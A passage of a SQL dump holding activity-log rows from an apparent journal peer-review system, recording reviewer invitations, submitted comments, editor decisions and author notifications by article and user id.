00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62617,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62620,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62621,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62622,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62624,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62625,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62626,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62627,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62628,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62658,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6580,'Editor',160),(62663,'0000-00-00 00:00:00','Reviewer has submitted comments',7125,'Reviewer',16058),(62664,'0000-00-00 00:00:00','Reviewer has submitted comments',7151,'Reviewer',5467),(62665,'0000-00-00 00:00:00','Reviewer has submitted comments',7151,'Reviewer',5467),(62666,'0000-00-00 00:00:00','Reviewer has submitted comments',7165,'Reviewer',5467),(62667,'0000-00-00 00:00:00','Reviewer has submitted comments',7165,'Reviewer',5467),(62669,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7182,'Author',8449),(62670,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7159,'Publisher',645),(62676,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62677,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62678,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62680,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62682,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62683,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62684,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6854,'Publisher',984),(62701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62705,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(62713,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7166,'Publisher',274),(62723,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7163,'Publisher',75),(62725,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7165,'Publisher',48),(62726,'0000-00-00 00:00:00','Publisher : Notified Author',7125,'Publisher',48),(62735,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6580,'Publisher',75),(62736,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7009,'Publisher',75),(62737,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7009,'Publisher',75),(62738,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7009,'Publisher',75),(62739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7009,'Publisher',75),(62740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7009,'Publisher',75),(62741,'0000-00-00 00:00:00','Reviewer has submitted comments',7009,'Reviewer',13225),(62742,'0000-00-00 00:00:00','Publisher : Notified Editor',7009,'Publisher',75),(62743,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7009,'Editor',160),(62744,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7186,'Author',8454),(62752,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7182,'Publisher',48),(62754,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62755,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62756,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62757,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62758,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62759,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62760,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62761,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62762,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62763,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62764,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6849,'Publisher',984),(62765,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7164,'Publisher',988),(62766,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62767,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62768,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62769,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62770,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62771,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62772,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7182,'Publisher',48),(62773,'0000-00-00 00:00:00','Reviewer has submitted comments',6999,'Reviewer',9902),(62774,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6999,'Editor',1235),(62775,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6999,'Editor',1235),(62776,'0000-00-00 00:00:00','Publisher : Notified Author',6999,'Publisher',274),(62815,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7166,'Editor',1235),(62817,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7009,'Editor',160),(62818,'0000-00-00 00:00:00','Reviewer has submitted comments',7132,'Reviewer',12979),(62819,'0000-00-00 00:00:00','Reviewer has submitted comments',6854,'Reviewer',11126),(62820,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7189,'Author',8459),(62825,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7165,'Editor',194),(62826,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7165,'Editor',194),(62827,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7165,'Publisher',48),(62828,'0000-00-00 00:00:00','Reviewer has submitted comments',6784,'Reviewer',15589),(62829,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7151,'Editor',194),(62830,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7151,'Editor',194),(62831,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7102,'Editor',194),(62834,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7151,'Publisher',48),(62838,'0000-00-00 00:00:00','Publisher : Notified Editor',6784,'Publisher',85),(62839,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6784,'Editor',1343),(62840,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6784,'Editor',1343),(62841,'0000-00-00 00:00:00','Publisher : Notified Author',6784,'Publisher',85),(62842,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(62843,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(62844,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(62845,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(62846,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(62847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(62848,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7151,'Publisher',48),(62849,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7160,'Editor',194),(62850,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7160,'Editor',194),(62851,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7160,'Editor',194),(62852,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7160,'Publisher',48),(62896,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7194,'Publisher',274),(62916,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7009,'Publisher',75),(62922,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7009,'Publisher',75),(62968,'0000-00-00 00:00:00','Reviewer has submitted comments',7151,'Reviewer',12532),(62971,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7200,'Author',8472),(62974,'0000-00-00 00:00:00','Reviewer has submitted comments',6854,'Reviewer',10967),(62975,'0000-00-00 00:00:00','Reviewer has submitted comments',6849,'Reviewer',10967),(62976,'0000-00-00 00:00:00','Reviewer has submitted comments',6741,'Reviewer',10967),(62977,'0000-00-00 00:00:00','Reviewer has submitted comments',6741,'Reviewer',10967),(62980,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7204,'Author',8477),(62983,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7189,'Publisher',85),(62984,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6775,'Publisher',85),(62985,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6689,'Publisher',85),(62986,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6782,'Publisher',85),(62987,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6782,'Publisher',85),(62988,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6572,'Publisher',85),(62989,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6797,'Publisher',85),(62990,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62991,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62992,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62993,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62994,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62995,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62996,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62997,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62998,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(62999,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63000,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63003,'0000-00-00 00:00:00','Author sent Email',6865,'Author',8129),(63005,'0000-00-00 00:00:00','Reviewer has updated comments',6905,'Reviewer',16051),(63017,'0000-00-00 00:00:00','Author sent Email',6865,'Author',8129),(63019,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7182,'Editor',194),(63020,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7182,'Editor',194),(63023,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7128,'Editor',194),(63024,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7128,'Editor',194),(63025,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7111,'Editor',194),(63026,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7111,'Editor',194),(63027,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7182,'Publisher',48),(63028,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7128,'Publisher',48),(63029,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7111,'Publisher',48),(63030,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7022,'Publisher',48),(63033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7163,'Publisher',75),(63034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7163,'Publisher',75),(63035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7163,'Publisher',75),(63036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7163,'Publisher',75),(63037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7163,'Publisher',75),(63060,'0000-00-00 00:00:00','Reviewer has submitted comments',7182,'Reviewer',11689),(63062,'0000-00-00 00:00:00','Publisher : Notified Author',7125,'Publisher',48),(63064,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7194,'Publisher',274),(63084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7164,'Publisher',988),(63085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7164,'Publisher',988),(63086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7164,'Publisher',988),(63087,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7186,'Publisher',988),(63117,'0000-00-00 00:00:00','Reviewer has submitted comments',7165,'Reviewer',11689),(63118,'0000-00-00 00:00:00','Reviewer has submitted comments',7165,'Reviewer',11689),(63119,'0000-00-00 00:00:00','Reviewer has submitted comments',7165,'Reviewer',11689),(63127,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',6929,'Reviewer',16016),(63145,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7102,'Publisher',48),(63156,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(63157,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(63181,'0000-00-00 00:00:00','Manuscript has been Revised',7125,'Author',8395),(63182,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(63183,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(63184,'0000-00-00 00:00:00','Reviewer has updated comments',6784,'Reviewer',15588),(63186,'0000-00-00 00:00:00','Author sent Email',7125,'Author',8395),(63187,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(63188,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7204,'Publisher',319),(63189,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7204,'Editor',1067),(63206,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7125,'Editor',194),(63207,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7125,'Publisher',48),(63215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63216,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63217,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63218,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63219,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63220,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63222,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63223,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7204,'Publisher',319),(63226,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6549,'Publisher',248),(63230,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7182,'Publisher',48),(63238,'0000-00-00 00:00:00','Manuscript Updated',6540,'Publisher',248),(63256,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7050,'Publisher',988),(63257,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7200,'Publisher',988),(63260,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7164,'Editor',1410),(63261,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7164,'Editor',1410),(63266,'0000-00-00 00:00:00','Manuscript Updated',7088,'Publisher',248),(63267,'0000-00-00 00:00:00','Manuscript Updated',6540,'Publisher',248),(63286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7098,'Publisher',48),(63287,'0000-00-00 00:00:00','Reviewer has submitted comments',7098,'Reviewer',11689),(63288,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7098,'Editor',194),(63289,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7098,'Publisher',48),(63328,'0000-00-00 00:00:00','Reviewer has submitted comments',7089,'Reviewer',15733),(63329,'0000-00-00 00:00:00','Reviewer has submitted comments',7089,'Reviewer',15733),(63336,'0000-00-00 00:00:00','Reviewer has submitted comments',7160,'Reviewer',11689),(63337,'0000-00-00 00:00:00','Reviewer has submitted comments',7160,'Reviewer',11689),(63449,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6886,'Publisher',48),(63450,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6873,'Publisher',48),(63454,'0000-00-00 00:00:00','Reviewer has submitted comments',7182,'Reviewer',11688),(63475,'0000-00-00 00:00:00','Reviewer has submitted comments',7204,'Reviewer',12875),(63476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63481,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63482,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7189,'Publisher',85),(63507,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7257,'Author',8527),(63511,'0000-00-00 00:00:00','Manuscript Submitted by Author',7261,'Author',8249),(63517,'0000-00-00 00:00:00','Manuscript has been Revised',6784,'Author',8044),(63518,'0000-00-00 00:00:00','Author sent Email',6784,'Author',8044),(63537,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7111,'Publisher',48),(63539,'0000-00-00 00:00:00','Reviewer has submitted comments',7111,'Reviewer',11689),(63540,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7111,'Editor',194),(63551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7128,'Publisher',48),(63554,'0000-00-00 00:00:00','Reviewer has submitted comments',7128,'Reviewer',11689),(63555,'0000-00-00 00:00:00','Reviewer has submitted comments',7022,'Reviewer',11689),(63556,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7128,'Editor',194),(63579,'0000-00-00 00:00:00','Publisher : Notified Editor',6784,'Publisher',85),(63585,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6540,'Editor',357),(63586,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6191,'Editor',357),(63587,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6540,'Editor',357),(63588,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7017,'Editor',359),(63589,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6466,'Editor',359),(63590,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6051,'Editor',359),(63591,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6549,'Editor',359),(63592,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6915,'Editor',359),(63593,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7039,'Editor',359),(63594,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7017,'Editor',359),(63595,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7039,'Editor',359),(63596,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7073,'Editor',359),(63597,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7088,'Editor',359),(63600,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6540,'Publisher',248),(63601,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6915,'Publisher',248),(63602,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6984,'Editor',358),(63603,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6549,'Editor',358),(63604,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6239,'Editor',358),(63605,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6984,'Publisher',248),(63618,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7022,'Publisher',48),(63619,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7111,'Publisher',48),(63620,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7128,'Publisher',48),(63621,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7128,'Publisher',48),(63622,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7125,'Publisher',48),(63623,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7117,'Publisher',48),(63625,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7098,'Publisher',48),(63626,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7089,'Publisher',48),(63627,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6191,'Publisher',248),(63628,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6466,'Publisher',248),(63630,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7134,'Editor',359),(63631,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7072,'Editor',359),(63632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63642,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63643,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63644,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63645,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63646,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7134,'Publisher',248),(63657,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7261,'Publisher',274),(63696,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7273,'Author',8541),(63697,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',6784,'Reviewer',15588),(63713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7145,'Publisher',85),(63714,'0000-00-00 00:00:00','Reviewer has submitted comments',7145,'Reviewer',16209),(63715,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7145,'Editor',1343),(63716,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7145,'Editor',1343),(63722,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6538,'Publisher',984),(63732,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7275,'Author',8545),(63733,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7273,'Publisher',48),(63734,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7273,'Publisher',48),(63735,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7273,'Publisher',48),(63751,'0000-00-00 00:00:00','Author sent Email',4715,'Author',5931),(63753,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6784,'Editor',1343),(63754,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(63755,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(63756,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(63757,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(63758,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6784,'Publisher',85),(63759,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6848,'Publisher',85),(63760,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(63761,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(63762,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6549,'Publisher',248),(63763,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7279,'Author',8549),(63766,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6239,'Publisher',248),(63799,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7279,'Publisher',85),(63807,'0000-00-00 00:00:00','Manuscript Submitted by Author',7283,'Author',8249),(63813,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7134,'Publisher',248),(63816,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7145,'Publisher',85),(63817,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7275,'Publisher',75),(63833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63839,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7204,'Editor',1067),(63840,'0000-00-00 00:00:00','Publisher : Notified Author',7204,'Publisher',319),(63841,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7286,'Publisher',645),(63848,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7283,'Publisher',274),(63866,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7039,'Publisher',248),(63872,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7067,'Publisher',319),(63882,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7088,'Publisher',248),(63884,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7290,'Author',8562),(63886,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7291,'Author',8564),(63902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(63904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(63905,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(63930,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6375,'Publisher',75),(63931,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(63932,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(63933,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(63934,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(63935,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(63936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(63941,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7286,'Publisher',645),(63943,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7286,'Editor',633),(63945,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7159,'Editor',633),(63949,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7150,'Editor',633),(63983,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7290,'Publisher',274),(64063,'0000-00-00 00:00:00','Reviewer has submitted comments',7104,'Reviewer',16050),(64064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6909,'Publisher',75),(64065,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7164,'Publisher',988),(64066,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(64069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7261,'Publisher',274),(64070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7261,'Publisher',274),(64071,'0000-00-00 